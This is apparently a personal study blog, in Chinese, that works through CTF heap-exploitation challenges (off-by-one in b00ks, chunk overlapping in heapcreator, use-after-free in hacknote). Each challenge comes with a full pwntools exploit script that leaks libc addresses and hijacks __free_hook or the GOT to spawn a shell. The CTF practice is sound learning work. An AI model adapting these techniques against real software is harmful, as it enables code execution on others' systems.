kernel看不进去,回头重新复习巩固一下heap

进度:3/22

off-by-one

Asis_2016_b00ks

很忧伤啊,本地的ubuntu16 docker容器中做的,脚本写好了跑不起来???
__malloc_hook明明改好了,调试也可以看到确实进入到one_gadget的位置了,但是在具体执行的到ogg的时候…他跳过去了???先这样吧,当前环境下改__malloc_hook是改成功了

搞出来了…malloc_hook换成free_hook就好了,果然是rsi的问题,one_gadget的条件要求他RSI为NULL,malloc_hook的时候附近都不符合条件,四个ogg一个都不能用,换成free_hook就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
# from SearchLibc import *
context.log_level='debug'

r = process("./b00ks")
# elf = process("./b00ks")


def Add(name_size, name, des_size, des):
r.sendlineafter("> ", "1")
r.sendlineafter("Enter book name size: ", str(name_size))
r.sendlineafter("Enter book name (Max 32 chars): ", name)
r.sendlineafter("Enter book description size: ", str(des_size))
r.sendlineafter("Enter book description: ", des)


def Del(id):
r.sendlineafter("> ", "2")
r.sendlineafter("Enter the book id you want to delete: ", str(id))


def Edit(id, des):
r.sendlineafter("> ", "3")
r.sendlineafter("Enter the book id you want to edit: ", str(id))
r.sendlineafter("Enter new book description: ", des)


def Pri():
r.sendlineafter("> ", "4")

def Change(name):
r.sendlineafter("> ", "5")
r.sendlineafter("Enter author name: ", name)


if __name__=="__main__":
name = 'a'*31+'b'
r.sendlineafter("Enter author name: ", name)

Add(0x18, 'aaaaaaa', 0x100, 'AAAAAAAA')
Pri()

r.recvuntil('aaaaab')
book_addr = u64(r.recvuntil("\n\n")[:-2].ljust(8, '\x00'))
log.success("heap addr start at ==> {}".format(hex(book_addr)))

Add(0x18, 'aaaaaaa', 0x18, 'AAAAAAAA')
Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')

Del(3)
des = flat([ 'a'*0xb0, 0, 0x31, 1, book_addr+0xa0, book_addr+0x70, 0x30 ], word_size=64)
Edit(1, des)
Change(name)
Pri()

r.recvuntil("ID: 1\nName: ")
unsortedbin = u64(r.recvline()[:-1].ljust(8, '\x00'))
main_arena = unsortedbin - 0x58
malloc_hook = main_arena - 0x10
fack_addr = malloc_hook - 0x23
log.success("unsorted bin addr ==> %s" % hex(unsortedbin))
log.success("main_arena addr ==> %s" % hex(main_arena))
log.success("malloc addr ==> %s" % hex(malloc_hook))

# libc = SearchLibc("__malloc_hook", malloc_hook)
# base = malloc_hook - libc.dump([ '__malloc_hook' ])
# ogg = base + libc.ogg()
# log.success("base ==> %s" % hex(base))
# log.success("one_gadget ==> %s" % hex(ogg))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
base = malloc_hook - libc.sym['__malloc_hook']
ogg = base + 0x4527a
log.success("base ==> %s" % hex(base))
log.success("one_gadget ==> %s" % hex(ogg))

# root@3144767e7ff2:/ctf/wiki/heap/off_by_one/Asis_2016_b00ks# one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL



des = flat([ 2, book_addr+0xa0, libc.sym['__free_hook']+base, 0x30 ], word_size=64)
Edit(1, des)
des = flat([ ogg ], word_size=64)
Edit(2, des)




log.success('pid => %i' % r.proc.pid)
pause()


Add(0x18, 'aaaaaaa', 0x18, 'AAAAAAAA')


r.interactive()

Chunk Extend and Overlapping

HITCON Trainging lab13

怎么说呢,感觉可能是自己有些笨吧,再加上这周一直是夜班整的精神严重有些不太好,这个题拖了有几天

我认为要注意的点:

  • 用0改1并释放后,需要注意的是确实是合并释放了,0x40的链里边有一个内容,但同时,他原本content的chunk也被加入到0x20的链表中。

    从IDA中也可以看到它是将content先释放,再释放本身的chunk

这样的话无论接下来申请多大的content内存,本身用于记录的chunk申请位置都会在原先1的content chunk所在的位置,也就是上图0x11fc060这个位置的chunk(它的记录chunk大小是固定的0x20,用于记录content大小和content位置)

这样的话,如果能将0x40链中的内存申请出来的话,就意味着我们可以控制他的记录chunk,而记录chunk我们知道他里边有两个内容,一个size,一个content的指针,注意这是一个指针,指向的是content的正文开始处,这便意味着如果我们可以控制这个指针的值,那么我们就有了任意位置读写能力,接下来常规操作即可。

fastbin确实做得少,还得多练练。抽时间还是得看看源码,看看他申请和释放是的检查到底都是怎么写的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'

r = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def Add(size, content):
r.sendafter("Your choice :", "1")
r.sendafter("Size of Heap : ", str(size))
r.sendafter("Content of heap:", content)


def Edit(id, content): # off-by-one
r.sendafter("Your choice :", "2")
r.sendafter("Index :", str(id))
r.sendafter("Content of heap : ", content)


def Show(id):
r.sendafter("Your choice :", "3")
r.sendafter("Index :", str(id))


def Del(id):
r.sendafter("Your choice :", "4")
r.sendafter("Index :", str(id))



if __name__=='__main__':
Add(0x18, 'aaa')
Add(0x18, 'aaa')
Add(0x18, '/bin/sh\x00')

content = flat([ 'a'*0x18, '\x41' ], word_size=64)
Edit(0, content)
Del(1)

# log.success('pid => %i' % r.proc.pid)
# pause()

Add(0x38, 'a'*0x18+p64(0x21)+p64(0x18)+p64(elf.got['free'])) # 注意是got表,got表中存着的是真实加载位置,plt中是got表的位置
Show(1)
r.recvuntil("Content : ")
free_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))
base = free_addr - libc.sym['free']
system = base + libc.sym['system']
log.success("free addr ==> %s" % hex(free_addr))
log.success("system addr ==> %s" % hex(system))


Edit(1, p64(system))
Del(2)

# log.success('pid => %i' % r.proc.pid)
# pause()


r.interactive()

use after free

hacknote

emmmm这个的flag我有些没看懂,他是怎么引用的当前目录的flag?
IDA里是cat /home/hacknote/flag,然后一运行自动cat flag??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level='debug'


r = process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def Add(size, content):
r.sendafter("Your choice :", "1")
r.sendafter("Note size :", str(size))
r.sendafter("Content :", content)


def Del(id):
r.sendafter("Your choice :", "2")
r.sendafter("Index :", str(id))


def Print(id):
r.sendafter("Your choice :", "3")
r.sendafter("Index :", str(id))


if __name__=="__main__":
Add(16, 'aaa')
Add(16, 'aaa')
Add(16, 'aaa')
Add(16, 'aaa')
Del(0)
Del(1)
Add(8, p32(0x8048986)) # magic

log.success('pid => %i' % r.proc.pid)
pause()

Print(0)


r.interactive()